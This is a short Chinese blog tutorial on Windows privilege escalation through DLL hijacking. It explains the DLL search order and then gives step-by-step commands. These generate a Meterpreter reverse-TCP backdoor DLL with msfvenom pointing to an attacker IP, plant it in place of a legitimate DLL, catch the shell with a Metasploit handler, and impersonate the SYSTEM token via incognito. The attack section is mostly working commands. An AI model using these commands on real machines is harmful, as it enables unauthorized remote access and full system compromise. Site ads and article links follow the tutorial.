DLL劫持提权
Dll劫持原理介绍
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是一种文件类型。在程序运行中,可能会需要一些相对独立的动态链接库,而这些预先放置在系统中的动态链接库文件。当我们执行某一个程序时,相应的DLL文件就会被调用。DLL 是一个包含可由多个程序同时使用的代码和数据的库,一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
DLL劫持指的是,恶意程序通过劫持或者替换正常的动态链接库,欺骗正常程序加载精心准备的恶意动态链接库。DLL劫持发产生大多与动态链接库加载顺序顺序有关,不同的系统查找DLL的目录以及对应的顺序略有差异,大概可以分为Windows XP SP2之前、在winxdows xp sp2之后这两种情况。
Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程 序要查找的位置放置恶意 DLL 来提权。
通常,Windows 应用程序有其预定义好的搜索DLL 的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录(程序自身的目录)
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
过程:
信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功.
1.通过火绒剑分析进程
分析进程调用模块,找到可以利用的dll文件
2.MSF生成后门dll木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.61.131 lport=8888 -f dll >C:\Users\Ninja\Desktop\xxxx.dll
3.上传替换
4.MSF监听
>use exploit/multi/handler
>set payload windows/meterpreter/reverse_tcp
>set lhost xxx.xxx.xxx
>set lport 8888
>exploit
等待程序运行,木马执行。
5.配合令牌窃取进行提权
>use incognito (进入incognito模块)
>list_tokens -u (列出令牌)
>impersonate_token "NT AUTHORITY\\SYSTEM"
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通